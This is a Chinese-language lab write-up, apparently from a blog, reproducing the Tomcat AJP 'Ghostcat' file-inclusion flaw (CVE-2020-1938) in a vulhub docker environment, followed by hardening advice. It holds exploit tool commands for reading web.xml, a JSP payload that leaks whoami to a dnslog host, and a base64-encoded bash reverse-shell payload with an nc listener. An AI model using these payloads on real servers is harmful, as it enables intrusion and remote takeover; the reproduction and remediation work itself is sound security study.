CVE-2020-1938 Apache-Tomcat-Ajp (幽灵猫)文件包含漏洞复现


漏洞描述

  该漏洞使攻击者可以读取任何webapps文件(例如webapp配置文件,源代码等)或包括一个文件来远程执行代码。由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。

影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞环境搭建

使用vulhub直接docker一键启动环境CVE-2020-1938环境

docker快速入门以及漏洞环境搭建

下载安装好vulhub后进入/tomcat/CVE-2020-1938目录,执行以下命令

sudo docker-compose up -d

在这里插入图片描述
查看当前虚拟机ip,并访问8080端口,即可出现tomcat页面

在这里插入图片描述

漏洞利用

使用nmap命令,查看目标是否开启8009端口

nmap -p 8009,8080 192.168.234.138

在这里插入图片描述

任意文件读取

下载工具:

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

使用方法:

#python CNVD-2020-10487-Tomcat-Ajp-lfi.py <目标ip> -p <ajp端口> -f <读取文件>
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.234.138 -p 8009 -f WEB-INF/web.xml

在这里插入图片描述


文件包含

  本地包含的条件是需要目标web应用上有一个上传点,能上传txt或jpg等文件,才能进行文件包含的利用。在这我是直接用vulhub进行搭建的,所以我直接进入docker容器创建txt文件进行文件包含的利用。

利用工具:
https://github.com/00theway/Ghostcat-CNVD-2020-10487

命令执行,测试ping dnslog

dnslog:http://www.dnslog.cn/

进入docker容器,在/webapps/ROOT/目录下添加ping.txt文件,内容为:

#ping.txt
<%Runtime.getRuntime().exec("ping -c 4 `whoami`.ea4chi.dnslog.cn");%>

在这里插入图片描述

我们在利用poc进行文件包含执行漏洞:

python3 ajpShooter.py http://192.168.234.138 8009 /ping.txt eval

在这里插入图片描述

在这里插入图片描述

反弹shell

反弹shell base64加密:
http://www.jackson-t.ca/runtime-exec-payloads.html

在这里插入图片描述
将文件命名问cmd.txt上传服务器:

<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");%>

开启端口监听:

nc -lvvp 4444

在这里插入图片描述

利用ajpShooter.py脚本执行文件包含漏洞

python3 ajpShooter.py http://192.168.234.138 8009 /cmd.txt eval

在这里插入图片描述

返回kali用nc监听的端口,发现有主机上线

在这里插入图片描述

漏洞加固


1、升级tomcat到最新版本。

2、若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。

具体操作:

(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />

在这里插入图片描述

(2)将此行注释掉(也可删掉该行):

<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->

(3)保存后需重新启动Tomcat,规则方可生效。

3、若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。

使用Tomcat 7和Tomcat 9的用户可为AJP Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>

使用Tomcat 8的用户可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

参考文章

https://www.svenbeast.com/post/fqSI9laE8/

猜你喜欢

转载自blog.csdn.net/weixin_41924764/article/details/109697313